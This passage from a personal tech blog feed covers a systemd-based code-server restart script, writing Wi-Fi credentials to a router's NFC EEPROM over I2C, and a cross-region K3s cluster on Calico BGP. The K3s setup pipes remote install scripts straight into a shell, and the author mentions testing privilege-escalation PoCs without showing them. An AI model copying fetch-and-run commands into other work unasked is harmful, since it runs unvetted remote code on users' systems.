# 1. Intercept: if stamp file exists and config file is older (or same age) than stamp,
#    this trigger is a leftover queued event from systemd – exit
if [ -f "$STAMP_FILE" ] && [ "$CONFIG_FILE" -ot "$STAMP_FILE" ]; then
    echo "Config hasn't changed since last restart, exiting."
    exit 0
fi

# 2. Debounce wait logic (unchanged)
while true; do
    last_md5=$(md5sum "$CONFIG_FILE")
    sleep 5
    current_md5=$(md5sum "$CONFIG_FILE")
    
    if [ "$last_md5" == "$current_md5" ]; then
        # File is stable, perform restart
        systemctl restart code-server@$USER_NAME
        
        # 3. After successful restart, update the stamp file's mtime
        touch "$STAMP_FILE"
        break
    else
        echo "Config file for $USER_NAME is still changing, waiting..."
    fi
done

The timestamp mechanism prevents multiple pointless restarts. If the config file's last edit time is earlier than the last restart time, the restart is rejected.

After writing the files, enable the trigger: systemctl enable --now code-server-restart@<username>.path (note it's .path, not .service). Then try slowly editing the password in the config file via the web interface, and check the logs for something like:

○ code-server-restart@lyr.service - Triggered safe restart for lyr
     Loaded: loaded (/etc/systemd/system/code-server-restart@.service; disabled; preset: enabled)
     Active: inactive (dead) since Sat 2026-06-06 06:43:55 UTC; 29s ago
 Invocation: 0bd37fcb6ea44a58870c06b4fde5300c
TriggeredBy: ● code-server-restart@lyr.path
    Process: 6997 ExecStart=/usr/local/bin/safe-restart-codeserver.sh lyr (code=exited, status=0/SUCCESS)
   Main PID: 6997 (code=exited, status=0/SUCCESS)
   Mem peak: 2.5M
        CPU: 43ms

Jun 06 06:43:40 CodeServer systemd[1]: Starting code-server-restart@lyr.service - Triggered safe restart for lyr...
Jun 06 06:43:45 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting...
Jun 06 06:43:50 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting...
Jun 06 06:43:55 CodeServer systemd[1]: code-server-restart@lyr.service: Deactivated successfully.
Jun 06 06:43:55 CodeServer systemd[1]: Finished code-server-restart@lyr.service - Triggered safe restart for lyr.

After editing stops for 5 seconds, CodeServer will restart, and the new password can be used to log in.

Configuring Python venv

First, install Python3 on the system (no need to elaborate – use the package manager). Also install python3-venv:

apt install python3-venv

Then, enter the user's home directory. I chose to create a folder named .venv for the virtual environment. Inside .venv, run python3 -m venv myvenv to create a virtual environment named myvenv, and append the following line to the user's .bashrc:

  fi
fi

+source ~/.venv/myvenv/bin/activate

After that, the venv is automatically activated when the shell starts.

Installing the Python extension in CodeServer and pointing it to the venv

I won't go into detail here – just install the Python and debugger extensions in the CodeServer web interface, and set the Python interpreter to the one under the venv.

Postscript

I set this up before CopyFail and DirtyFrag were disclosed. After disclosure, I ran the PoCs available to me under this configuration and did not observe successful privilege escalation. That observation applies to the environment and samples I tested, not every related exploit variant.

The tested exploit paths needed sockets such as AF_ALG, or AF_NETLINK and AF_RXRPC, which this RestrictAddressFamilies allowlist excludes. It may therefore block those paths at socket creation. Establishing the exact failure point requires the specific PoC, kernel version, and system logs.

NoNewPrivileges=yes restricts another path: the service and its descendants cannot gain privileges through setuid/setgid bits or file capabilities during execve(). It does not prevent all privilege changes outside execve(), nor ensure that damaged system files cannot affect other privileged processes. System updates remain necessary; these settings do not replace vulnerability fixes.

This article does not explore SELinux. The setup is intended for a server shared with friends rather than critical production workloads. These systemd options combine namespaces, cgroups, and seccomp, but do not form a complete tenant security boundary. SELinux/AppArmor can further restrict access, but cannot guarantee protection against every kernel vulnerability either. Mutually untrusted users call for an assessment of stronger isolation based on the threat model.

Of course, this solution has other limitations. For example, when there are many users or special UID allocation requirements that exceed 10000, the port calculation logic may fail. For legitimate needs like scientific computing, the current restrictions may be too strict. This article is only intended as a discussion and reference.

Random thoughts: In the age of containerization and cloud-native, traditional systemd still has many interesting features worth exploring that can accomplish a lot…

Reference:

为小米BE10000路由器的QWRT适配NFC功能

Mon, 25 May 2026 15:18:54 GMT

分析

将小米BE10000刷入QWRT后，猫棒和 SFP+ 接口在我的配置下已经可以使用，但原厂的 NFC 碰一碰连 Wi-Fi 功能失效了。查阅资料后，发现可以尝试通过 I2C 访问主板上的 NFC EEPROM，更新其中的 Wi-Fi 凭证。先使用i2cdetect进行扫描：

root@QWRT:~# i2cdetect -l
i2c-1   i2c             QUP I2C adapter                         I2C adapter
i2c-2   i2c             QUP I2C adapter                         I2C adapter
i2c-0   i2c             QUP I2C adapter                         I2C adapter
root@QWRT:~# i2cdetect -y -r 0
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:          -- -- -- -- -- -- -- -- -- -- -- -- -- 
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
50: -- -- -- -- 54 -- -- -- -- -- -- -- -- -- -- -- 
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
70: -- -- -- -- -- -- -- --

扫描结果很快锁定，设备挂载在I2C总线0上，物理地址为0x54。 NFC碰一碰连WiFi则用的是标准的NDEF格式的数据(Ref: Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation)，因此只需要按照标准将数据写入EEPROM即可复现NFC碰一碰连接功能。

实现

本文内容仅探讨 OpenWrt/QWRT 系统的底层硬件驱动适配与 NDEF 标准协议的封装。文中涉及的硬件参数系基于公开规范文档与通用 I2C 调试工具探测得出。本项目为个人研究兴趣，未包含、也未分发任何厂商专有二进制代码。仅供技术交流学习，请勿用于商业用途，因尝试本文操作导致的设备损坏风险需由读者自行承担。

提取数据构造NDEF数据

要实现自动根据Wi-Fi账号密码更新NFC数据，首先得拿到当前的Wi-Fi账号密码。在OpenWrt上，这部分配置全部由UCI (Unified Configuration Interface) 管理，因此我们只需要读取 UCI 中的 wireless 配置文件即可。
为应对现代手机的兼容性问题。早期的设备通常使用Device Password Token触发WPS协商，但现代Android/iOS系统已经限制了这种行为。为了兼顾兼容性，我们需要遵循Wi-Fi Simple Configuration (WSC)规范，将配置打包成 WLAN Configuration Token (凭证配置令牌)。(Ref: Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation)
将OpenWrt的无线加密模式（如WPA2、WPA3-SAE）精准映射为 WSC 规范定义的 Hex 代码：

0x1003: 认证类型 (Authentication Type)
0x100F: 加密类型 (Encryption Type)
0x1045: SSID
0x1027: 网络密钥 (密码) 通过脚本自动遍历并选举出桥接到lan的首选AP（wifi0），将其属性转换为Hex字符串，我们就得到了一串标准的NDEF注入载荷。

写入NFC EEPROM

NFC的EEPROM在接收长串的NDEF数据时，如果连续写入太快，或者单次写入块过大，容易导致芯片的I2C状态机死锁。
经过测试，最终选择使用i2ctransfer工具来进行分片原子写入。两个关键的时序细节：

由于通信限制，每次循环只切片取 4 个字节，带有寄存器地址递增的方式进行片段写入。
在每次 4 字节的 block 写入之间，强制加上10毫秒的时序延迟，给芯片留下足够的内部擦写时间。最后对不足 4 字节的数据用 0x00 补零。

实现更改Wi-Fi信息自动触发写入

为了尽量贴合OpenWRT的架构，原先通过下hook的方式尝试了，但是发现经常会hook不上，最后加了三层fallback：

LuCI前端触发: 通过在/etc/uci-defaults/下注册钩子，将NFC同步脚本与系统的ucitrack机制绑定。当用户在LuCI中修改了Wi-Fi密码并点击“保存并应用”，系统就会在后台自动更新NFC数据。
Hotplug层: 在/etc/hotplug.d/iface/70-nfc中添加热插拔监听事件。当路由器的lan或wifi接口发生ifup状态改变时，系统能够自动触发调度。
定时任务: 若所有方式都没能触发，每隔15秒会强制检查一次并判断是否需要更新NFC数据。

同时，考虑到NFC芯片的EEPROM擦写次数是有限的。如果网络接口重启一次就全量重写一次，芯片很快就会报废。因此，在底层的nfc-sync调度脚本中，引入了简单的哈希校验机制：

脚本被唤醒后，首先提取当前的 wireless 配置并计算 MD5 值。
将其与缓存在/var/run/nfc-wireless.md5中的旧哈希进行对比。
只有当 MD5 值发生实际变化时，才会真正下发 I2C 写入指令。 否则直接终止流程。结合/var/lock/nfc-sync.lock的并发文件锁，可以减少重复事件导致的无效擦写，并避免多个同步任务同时操作芯片。这里的 MD5 仅用于检测配置变化，不用于安全校验；这些措施也不能保证 EEPROM 不会因其他原因损坏。

经过测试，发现是能够自动更新的：代码仓库：KaguraiYoRoy/be10000-qwrt-nfc: NFC Userland Implementation of QWRT for Xiaomi BE10000 (RC01) Router

参考文章：

Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation

Adapting NFC Functionality for QWRT on Xiaomi BE10000 Router

Mon, 25 May 2026 15:18:00 GMT

English Translation

Title: Adapting NFC Functionality for QWRT on Xiaomi BE10000 Router

Analysis

After flashing the Xiaomi BE10000 with QWRT, the GPON stick and SFP+ interface worked in my setup, but the factory NFC Wi-Fi tap-to-connect feature stopped working. Research suggested that I could update the Wi-Fi credentials by accessing the onboard NFC EEPROM over I2C. I started by scanning with i2cdetect:

root@QWRT:~# i2cdetect -l
i2c-1   i2c             QUP I2C adapter                         I2C adapter
i2c-2   i2c             QUP I2C adapter                         I2C adapter
i2c-0   i2c             QUP I2C adapter                         I2C adapter
root@QWRT:~# i2cdetect -y -r 0
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:          -- -- -- -- -- -- -- -- -- -- -- -- -- 
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
50: -- -- -- -- 54 -- -- -- -- -- -- -- -- -- -- -- 
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
70: -- -- -- -- -- -- -- --

The scan results quickly pinpoint the device attached to I2C bus 0 at physical address 0x54. NFC tap-to-connect-to-Wi-Fi uses standard NDEF format data (Ref: Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation). Therefore, simply writing the data into the EEPROM according to the standard can restore the NFC tap-to-connect functionality.

Implementation

This article discusses only low-level hardware driver adaptation and NDEF standard protocol encapsulation for the OpenWrt/QWRT system. The hardware parameters mentioned are derived from public specification documents and generic I2C debugging tools. This project is for personal research interest and does not include or distribute any vendor-proprietary binary code. It is intended for technical exchange and learning only. Do not use for commercial purposes. Any risk of device damage resulting from attempts described herein shall be borne solely by the reader.

Extract Data and Construct NDEF Payload

To automatically update NFC data based on Wi-Fi credentials, we first need to obtain the current Wi-Fi SSID and password. On OpenWrt, these configurations are managed entirely by UCI (Unified Configuration Interface). Therefore, we only need to read the wireless configuration file from UCI.
To ensure compatibility with modern smartphones, early devices typically used a Device Password Token to trigger WPS negotiation, but modern Android/iOS systems have restricted this behavior. For broader compatibility, we must follow the Wi-Fi Simple Configuration (WSC) specification and package the configuration as a WLAN Configuration Token (credential configuration token). (Ref: Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation)
Map OpenWrt's wireless encryption modes (e.g., WPA2, WPA3-SAE) precisely to the hex codes defined by the WSC specification:

0x1003: Authentication Type
0x100F: Encryption Type
0x1045: SSID
0x1027: Network Key (password)
Through a script, we automatically traverse and select the primary AP bridged to lan (e.g., wifi0), convert its attributes to hex strings, and produce a standard NDEF payload.

Write to NFC EEPROM

When the NFC EEPROM receives a long string of NDEF data, writing too quickly or in excessively large blocks per write can easily cause the chip's I2C state machine to lock up.
After testing, we chose to use the i2ctransfer tool for atomic fragmented writes. Two critical timing details:

Due to communication limitations, each loop slices only 4 bytes, with auto-incrementing register addresses.
Between each 4-byte block write, a 10 ms delay is enforced to allow sufficient internal erase/write time for the chip. Finally, any remaining data less than 4 bytes is padded with 0x00.

Automatically Trigger Writes on Wi-Fi Configuration Changes

To closely follow OpenWrt's architecture, we initially tried using hooks but found they often failed. Eventually, three fallback layers were added:

LuCI frontend trigger: Register a hook under /etc/uci-defaults/ to bind the NFC sync script to the system's ucitrack mechanism. When a user modifies the Wi-Fi password in LuCI and clicks "Save & Apply", the system automatically updates the NFC data in the background.
Hotplug layer: Add a hotplug event listener in /etc/hotplug.d/iface/70-nfc. When the router's lan or wifi interface changes to ifup state, the system automatically triggers the sync.
Cron job: If none of the above triggers work, a cron job forces a check every 15 seconds to determine if an NFC update is needed.

Additionally, considering that the NFC EEPROM has limited write endurance, if the network interface restarts even once and triggers a full rewrite, the chip would soon wear out. Therefore, a simple hash check mechanism is introduced in the underlying nfc-sync script:

When the script is awakened, it first extracts the current wireless configuration and calculates its MD5 hash.
It compares this hash with the old hash cached in /var/run/nfc-wireless.md5.
Only when the MD5 value actually changes does it issue the I2C write command. Otherwise, the process terminates immediately. Together with the file lock at /var/lock/nfc-sync.lock, this reduces unnecessary writes from repeated events and prevents concurrent sync tasks from accessing the chip. MD5 is only used to detect configuration changes here, not for security verification; these measures cannot guarantee the EEPROM's lifespan.

After testing, automatic updating works as expected:

![[Pasted image 20260525230448.png]]

Code repository: KaguraiYoRoy/be10000-qwrt-nfc: NFC Userland Implementation of QWRT for Xiaomi BE10000 (RC01) Router

References:

Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation

从零构建跨地域 K3s 集群 - Calico 无封装 CNI

Sun, 05 Apr 2026 13:43:00 GMT

前言

其实老早就想玩玩 K8s 集群了，一直觉得没有足够的知识支撑，玩起来比较的费劲就没尝试。
前段时间好好研究了一下 DN42 和 BGP, OSPF 之类的组网协议，发现现在理解起来不那么费劲了，于是果断上手 K3s（

选择 K3s 而不是 K8s 主要原因还是其轻量化：资源要求低，部署不需要拉一大堆镜像，有国内镜像……总之就是，觉得 K3s 比较符合我的需求。

咱是刚开始研究 K3s 的小白，若有错误还请各位大佬手下留情~

分析

CNI 组件的选择

我目前的网络架构是这样的：

graph TD
    subgraph ZeroTier Domestic
        subgraph WDS
            Gateway <--> VM1
            Gateway <--> VM2
        end
        NGB <--> Gateway
        HFE-NAS <--> Gateway
        NGB <--> HFE-NAS
    end

    subgraph IEPL
        Global-NIC <==OSPF==> CN-NIC 
    end

    subgraph ZeroTier Global
        HKG02 <-->  HKG04
        TYO <--> HKG04
        TYO <--> HKG02
    end

    CN-NIC <--> NGB
    CN-NIC <--> HFE-NAS
    CN-NIC <--OSPF--> Gateway

    Global-NIC <--OSPF--> TYO
    Global-NIC <--OSPF--> HKG02
    Global-NIC <--OSPF--> HKG04

    %% 样式定义：设置为橘色背景、加粗边框以代表路由器
    classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
    class Global-NIC,CN-NIC,Gateway router;

其中， WDS 节点是个 ProxmoxVE，下挂多个 VM ，通过 OSPF 广播其 VM 的 IPv4 Prefix 地址，香港节点需要访问到 WDS 节点下挂 VM 时便可以通过加入 OSPF 内网实现多跳可达。这样封装层数也只有1层，不需要担心 MTU 消消乐。

我打算在 WDS 下新开两个 VM 分别用作主控和一个节点（暂且称其为 KubeMaster 、KubeNode-WDS1），然后 HKG04 （暂且称为KubeNode-HKG04）也当作一个节点接入 K3s。

最简单的方式其实是直接通过 K3s 默认的 Flannel 作为 CNI，但是 Flannel 是基于 VXLAN 的，再套一层我现有的内网的话就会产生如下 MTU 消消乐的情况：

数据包 -> Flannel VXLAN封装 -> ZeroTier封装 -> 物理链路

实际容器间通信可用 MTU 大概得压缩到 1350 甚至更低。因此，我尝试寻找一个能直接基于这套内网工作的 CNI 方案，然后就找到了 Calico。了解下来知道 Calico 是以 BGP 作为底层寻路协议，支持通过 No-Encapsulated 即无封装模式启动，数据包直接交由上层路由器处理路由，因此选择 Calico 作为 CNI 组件。

路由设计

为了保证中间节点的路由器可以知道如何路由 Pod 的 IP，而 KubeMaster 和 KubeNode-WDS1 在 ProxmoxVE 主机下，他们需要跨越整个内网与 HKG04 建立 BGP，因此这就意味着中间每一级路由都需要学习到完整的 BGP 路由，这样才能打通这样的路由路径：

graph LR

subgraph WDS
    KubeMaster
    KubeNode-WDS1
    Gateway
end

subgraph IEPL
    CN-Namespace
    Global-Namespace
end

KubeNode-WDS1 <--> Gateway
KubeMaster <--> Gateway <--> CN-Namespace <--> Global-Namespace <--> HKG04

%% 样式定义：突出显示具备路由功能的节点
classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
class Gateway,CN-Namespace,Global-Namespace router;

否则，中间的任何一跳都会因为不认识来源/目标 IP 导致丢包。同时，由于 iBGP 从邻居学到的路由，不能继续传递给下一个 iBGP 邻居的特性，Gateway、CN-Namespace、Global-Namespace 与节点间的 BGP Session 都需要启用 Route Reflector，否则节点无法正确互相学习到路由。

虽然但是，其实这种架构更适合做 BGP Confederation （ BGP 联邦），但是我现有的网络已经很复杂，再加 BGP 联邦会让后期维护起来比较麻烦，而且我的节点数量也不多，iBGP Full Mesh 的开销还能接受。 ~~绝对不是因为我懒（~~

所以最终网络路由结构是这样的：

graph TB
subgraph WDS
    VM1
    VM2
    Gateway
end

subgraph IEPL
    CN-Namespace
    Global-Namespace
end

VM1 <-.Calico iBGP Full Mesh.-> VM2
VM1 <--iBGP Route Reflector--> Gateway
VM2 <--iBGP Route Reflector--> Gateway <--iBGP--> CN-Namespace <--iBGP--> Global-Namespace
Gateway <--iBGP--> Global-Namespace
HKG04 <-.Calico iBGP Full Mesh.-> VM1
Global-Namespace <--iBGP Route Reflector--> HKG04
VM2 <-.Calico iBGP Full Mesh.-> HKG04

classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
class Gateway,CN-Namespace,Global-Namespace router;

虚线部分的 BGP Session 是 Calico 自动创建的，实现部分是需要我们手动指派创建的

保留 Calico 自己的 iBGP Full Mesh 是为了后续可扩展性考虑，使得各个节点之间可以尽量通过 ZeroTier P2P 优先建立直连网络，而不是从 Route Reflector 汇聚路由器转发绕一圈。

部署

理清了结构之后部署就很简单了。

开启内核转发并关闭 rp_filter

老生常谈。

echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
echo "net.ipv6.conf.default.forwarding=1" >> /etc/sysctl.conf
echo "net.ipv6.conf.all.forwarding=1" >> /etc/sysctl.conf
echo "net.ipv4.conf.default.rp_filter=0" >> /etc/sysctl.conf
echo "net.ipv4.conf.all.rp_filter=0" >> /etc/sysctl.conf
sysctl -p

安装 K3s

Master

因为 KubeMaster 主控节点在境内，所以最好配置一下镜像加速：

mkdir -p /etc/rancher/k3s
cat <<EOF > /etc/rancher/k3s/registries.yaml
mirrors:
  docker.io:
    endpoint:
      - "https://docker.m.daocloud.io"
  quay.io:
    endpoint:
      - "https://quay.m.daocloud.io"
EOF

使用镜像源安装：

curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | \
  INSTALL_K3S_MIRROR=cn INSTALL_K3S_EXEC=" \
  --flannel-backend=none \
  --disable-network-policy \
  --cluster-cidr=10.42.0.0/16" sh -

需要注意的是要指定 --flannel-backend=none 和 --disable-network-policy 来禁用默认 CNI 组件。
使用 cat /var/lib/rancher/k3s/server/node-token 查看 Token ，并记录下来。

WorkerNode

境内节点配置镜像加速：

mkdir -p /etc/rancher/k3s
cat <<EOF > /etc/rancher/k3s/registries.yaml
mirrors:
  docker.io:
    endpoint:
      - "https://docker.m.daocloud.io"
  quay.io:
    endpoint:
      - "https://quay.m.daocloud.io"
EOF

然后使用镜像源安装 K3s 并加入集群：

export INSTALL_K3S_MIRROR=cn
export K3S_URL=https://<主控节点 IP>:6443  # 换成你的主节点实际IP
export K3S_TOKEN=K10...你的TOKEN...::server:xxx # 换成第一步获取的完整TOKEN

curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | sh -

这个时候各个节点的状态应该是 NotReady 的，因为缺少 CNI 组件。

安装 Calico 并配置 No-Encap 模式

在主控上手动下载下来 https://raw.githubusercontent.com/projectcalico/calico/v3.26.1/manifests/tigera-operator.yaml ，安装 Calico 算子：

kubectl create -f tigera-operator.yaml

配置自定义资源，创建一个 custom-resource.yaml 文件：

apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
  name: default
spec:
  # 添加镜像注册表配置
  registry: quay.m.daocloud.io 
  calicoNetwork:
    ipPools:
    - blockSize: 26
      cidr: 10.42.0.0/16
      encapsulation: None
      natOutgoing: Enabled
      nodeSelector: all()

此处通过指定 encapsulation: None 来设置 No-Encap 模式。想要修改 IPv4 CIDR 也可以在这里改。随后

kubectl apply -f custom-resource.yaml

执行安装。使用：

kubectl get pods -A -o wide

查看 Pod 状态，等待各个节点拉取完成即可。

配置 BGP 拓扑

节点打标

通过给节点打标来指定 WDS 下的节点全都连接到 WDS 节点的 Gateway 的 BGP，境外节点全部连接 Global Namespace 的 BGP：

kubectl label nodes kubemaster region=WDS
kubectl label nodes kubenode-wds-1 region=WDS
kubectl label nodes kubenode-hkg04 region=Global

Calico 配置

编写 yaml 配置文件：

apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-domestic
spec:
  nodeSelector: region == 'Domestic' # 这部分其实没用上，我原来设计的是 Domestic 区域有个总体的汇聚路由
  peerIP: 100.64.0.108
  asNumber: 64512
---
apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-wds
spec:
  nodeSelector: region == 'WDS'
  peerIP: 192.168.100.1
  asNumber: 64512
---
apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-global
spec:
  nodeSelector: region == 'Global'
  peerIP: 100.64.1.106
  asNumber: 64512

这部分的意思是：

所有 region 标签为 Domestic 的节点都添加一个连接到 100.64.0.108 （即境内汇聚路由）的 BGP Session，使用 AS 64512
所有 region 标签为 WDS 的节点都添加一个连接到 192.168.100.1 （即 WDS 节点所有 VM 的 Gateway）的 BGP Session，使用 AS 64512
所有 region 标签为 Global 的节点都添加一个连接到 100.64.1.106 （即境外汇聚路由）的 BGP Session，使用 AS 64512

借此实现上文图示的，所有 WDS 节点下的 VM，包括主控和 KubeNode-WDS1 都接入到 WDS 节点的 Gateway 汇聚路由，境外区域的所有节点都接入到境外部分的汇聚路由。

配置汇聚路由 iBGP

这部分直接写 Bird 配置文件就行了，简单（
这里举几个例子：

k3s/ibgp.conf：

function is_insider_as(){
    if bgp_path.len > 0 && !(bgp_path ~ [= 64512 =]) then {
        return false;
    }

    if net ~ [ 10.42.0.0/16{16,32} ] then {
        return true;
    }

    return false;
}

template bgp k3sbackbone{
    local as K3S_AS;
    router id INTRA_ROUTER_ID;
    neighbor as K3S_AS;

    ipv4{
        table intra_table_v4;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
        extended next hop;
    };

    ipv6{
        table intra_table_v6;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };
};

template bgp k3speers{
    local as K3S_AS;
    neighbor as K3S_AS;
    router id INTRA_ROUTER_ID;
    rr client;
    rr cluster id INTRA_ROUTER_ID;

    ipv4{
        table intra_table_v4;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };

    ipv6{
        table intra_table_v6;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };
};

include "ibgpeers/*";

ibgpeers/backbone-cn.conf：

protocol bgp 'k3s_backbone_cn_v4' from k3sbackbone{
    neighbor fd18:3e15:61d0:cafe:f001::1;
};

ibgpeers/master.conf：

protocol bgp 'k3s_master_v4' from k3speers{
    neighbor 192.168.100.251;
};

主要是几个汇聚路由之间最好不要开 Route Reflector，以及记得开 next hop self。

全部完成之后使用 kubectl get nodes 应该能看到节点状态都 Ready 了：

NAME             STATUS   ROLES           AGE     VERSION
kubemaster       Ready    control-plane   2d23h   v1.34.5+k3s1
kubenode-hkg04   Ready    <none>          11h     v1.34.6+k3s1
kubenode-wds-1   Ready    <none>          2d7h    v1.34.5+k3s1

使用 kubectl get pods -A -o wide 查看 Pods：

NAMESPACE         NAME                                       READY   STATUS      RESTARTS        AGE     IP                NODE             NOMINATED NODE   READINESS GATES
calico-system     calico-kube-controllers-64fc874957-6bdlz   1/1     Running     0               5h38m   10.42.253.136     kubenode-hkg04   <none>           <none>
calico-system     calico-node-2qz82                          1/1     Running     0               4h24m   10.2.5.7          kubenode-hkg04   <none>           <none>
calico-system     calico-node-dhl2c                          1/1     Running     0               4h24m   192.168.100.251   kubemaster       <none>           <none>
calico-system     calico-node-nbpkj                          1/1     Running     0               4h23m   192.168.100.252   kubenode-wds-1   <none>           <none>
calico-system     calico-typha-7bb5db4bdc-rfpwg              1/1     Running     0               5h38m   10.2.5.7          kubenode-hkg04   <none>           <none>
calico-system     calico-typha-7bb5db4bdc-rwwr5              1/1     Running     0               5h38m   192.168.100.251   kubemaster       <none>           <none>
calico-system     csi-node-driver-jglwp                      2/2     Running     0               5h38m   10.42.64.68       kubenode-wds-1   <none>           <none>
calico-system     csi-node-driver-jqjsc                      2/2     Running     0               5h38m   10.42.253.137     kubenode-hkg04   <none>           <none>
calico-system     csi-node-driver-vk26s                      2/2     Running     0               5h38m   10.42.141.16      kubemaster       <none>           <none>
kube-system       coredns-695cbbfcb9-8fx4p                   1/1     Running     1 (7h27m ago)   2d23h   10.42.141.14      kubemaster       <none>           <none>
kube-system       helm-install-traefik-crd-5bkwx             0/1     Completed   0               2d23h   <none>            kubemaster       <none>           <none>
kube-system       helm-install-traefik-m9fgj                 0/1     Completed   1               2d23h   <none>            kubemaster       <none>           <none>
kube-system       local-path-provisioner-546dfc6456-dmn4g    1/1     Running     1 (7h27m ago)   2d23h   10.42.141.15      kubemaster       <none>           <none>
kube-system       metrics-server-c8774f4f4-2wkwh             1/1     Running     1 (7h27m ago)   2d23h   10.42.141.12      kubemaster       <none>           <none>
kube-system       svclb-traefik-999cddce-hpmcm               2/2     Running     6 (7h26m ago)   11h     10.42.253.134     kubenode-hkg04   <none>           <none>
kube-system       svclb-traefik-999cddce-q4225               2/2     Running     2 (7h27m ago)   2d22h   10.42.141.9       kubemaster       <none>           <none>
kube-system       svclb-traefik-999cddce-xmd64               2/2     Running     2 (7h26m ago)   2d6h    10.42.64.66       kubenode-wds-1   <none>           <none>
kube-system       traefik-788bc4688c-vbbhj                   1/1     Running     1 (7h27m ago)   2d22h   10.42.141.13      kubemaster       <none>           <none>
tigera-operator   tigera-operator-6b95bbf4db-vl46l           1/1     Running     1 (7h27m ago)   2d23h   192.168.100.251   kubemaster       <none>           <none>

使用 kubectl exec -it -n calico-system <calico-node-xxxx> -- birdcl s p 可查看 Bird 的状态：

root@KubeMaster:~/kube/calico# kubectl exec -it -n calico-system calico-node-2qz82 -- birdcl s p
Defaulted container "calico-node" out of: calico-node, flexvol-driver (init), install-cni (init)
BIRD v0.3.3+birdv1.6.8 ready.
name     proto    table    state  since       info
static1  Static   master   up     08:58:17    
kernel1  Kernel   master   up     08:58:17    
device1  Device   master   up     08:58:17    
direct1  Direct   master   up     08:58:17    
Mesh_192_168_100_251 BGP      master   up     08:58:33    Established   
Mesh_192_168_100_252 BGP      master   up     08:59:00    Established   
Node_100_64_1_106 BGP      master   up     12:57:44    Established

ip r 可查看系统路由表：

root@KubeMaster:~/kube/calico# ip r
default via 192.168.100.1 dev eth0 proto static 
10.42.64.64/26 proto bird 
        nexthop via 192.168.100.1 dev eth0 weight 1 
        nexthop via 192.168.100.252 dev eth0 weight 1 
blackhole 10.42.141.0/26 proto bird 
10.42.141.9 dev caliac6501d3794 scope link 
10.42.141.12 dev calib07c23291bb scope link 
10.42.141.13 dev caliab16e60bd19 scope link 
10.42.141.14 dev calid5959219080 scope link 
10.42.141.15 dev cali026d8f1ddb7 scope link 
10.42.141.16 dev califa657ba417a scope link 
10.42.253.128/26 via 192.168.100.1 dev eth0 proto bird 
192.168.100.0/24 dev eth0 proto kernel scope link src 192.168.100.251

找一个Pod 的地址 Ping 一下，如果没啥问题的话应该就能直接通了：

root@KubeMaster:~/kube/calico# ping 10.42.253.137
PING 10.42.253.137 (10.42.253.137) 56(84) bytes of data.
64 bytes from 10.42.253.137: icmp_seq=1 ttl=60 time=33.7 ms
64 bytes from 10.42.253.137: icmp_seq=2 ttl=60 time=33.5 ms
^C
--- 10.42.253.137 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 33.546/33.632/33.718/0.086 ms

调优 MTU

这一步其实是为了稳定性……？
测试下来发现虽然我的 ZeroTier MTU 是 1420，但是实际上包大小到达 1392 左右就会开始触发分片（可用 ping -M do -s <包大小> <Pod_IP> 测试），因此强制指定 Pod MTU 为 1370：

root@KubeMaster:~/kube/calico# cat patch-mtu.yaml 
apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
  name: default
spec:
  calicoNetwork:
    mtu: 1370
    nodeAddressAutodetectionV4:
      firstFound: true
root@KubeMaster:~/kube/calico# kubectl apply -f patch-mtu.yaml 
installation.operator.tigera.io/default configured

Building a Cross-Region K3s Cluster from Scratch - Calico No-Encapsulation CNI

Sun, 05 Apr 2026 13:43:00 GMT

# Preface

I've actually wanted to play with a K8s cluster for a long time, but always felt that without sufficient knowledge, it would be too difficult to attempt.  
Recently, I spent some time studying DN42 and routing protocols like BGP and OSPF, and realized that it no longer feels so difficult. So I decisively started with K3s (  

The main reason for choosing K3s over K8s is its lightweight nature: low resource requirements, no need to pull a bunch of images for deployment, availability of domestic mirrors… In short, K3s suits my needs better.  

I'm a beginner just starting to explore K3s, so please go easy on me if I make any mistakes~

# Analysis

## Choosing the CNI Component

My current network architecture looks like this:

```mermaid
graph TD
    subgraph ZeroTier Domestic
        subgraph WDS
            Gateway <--> VM1
            Gateway <--> VM2
        end
        NGB <--> Gateway
        HFE-NAS <--> Gateway
